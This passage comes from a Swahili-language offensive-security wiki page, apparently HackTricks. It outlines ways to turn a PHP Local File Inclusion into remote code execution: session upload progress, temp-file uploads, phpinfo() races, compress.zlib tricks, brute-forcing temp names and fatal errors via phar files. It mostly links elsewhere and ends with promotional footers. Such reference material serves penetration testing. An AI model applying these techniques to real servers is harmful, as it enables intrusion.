Ikiwa umepata Local File Inclusion hata kama huna kikao na session.auto_start ni Off. Ikiwa unatoa PHP_SESSION_UPLOAD_PROGRESS katika data ya POST ya multipart, PHP itawezesha kikao kwako. Unaweza kutumia hii kwa RCE:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Kupitia kupakia faili za muda kwenye Windows

Ikiwa umepata Local File Inclusion na seva inaendesha kwenye Windows, unaweza kupata RCE:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Kupitia phpinfo() (file_uploads = on)

Ikiwa umepata Local File Inclusion na faili inaonyesha phpinfo() na file_uploads = on, unaweza kupata RCE:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Kupitia compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Ikiwa umepata Local File Inclusion na unaweza kufichua njia ya faili ya muda LAKINI seva inaangalia ikiwa faili ya kuingizwa ina alama za PHP, unaweza kujaribu kupitisha ukaguzi huo na hii Race Condition:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Kupitia kungojea milele + jaribio la nguvu

Ikiwa unaweza kutumia LFI kupakia faili za muda na kufanya seva isimamishe utekelezaji wa PHP, basi unaweza jaribu majina ya faili kwa masaa ili kupata faili ya muda:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Kwa Kosa la Kufa

Ikiwa unajumuisha faili yoyote kati ya /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Unahitaji kuunganisha ile ile mara 2 ili kutoa kosa hilo).

Sijui jinsi hii inavyoweza kuwa na manufaa lakini inaweza kuwa.
Hata kama unasababisha Kosa la Kufa la PHP, faili za muda za PHP zilizopakiwa zinafutwa.

Marejeo

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Jiunge na HackenProof Discord ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa bug bounty!

Machapisho ya Udukuzi
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za udukuzi

Habari za Udukuzi za Wakati Halisi
Kuwa na habari za hivi karibuni katika ulimwengu wa udukuzi kupitia habari na ufahamu wa wakati halisi

Matangazo ya Hivi Karibuni
Endelea kujulishwa na bug bounty mpya zinazozinduliwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: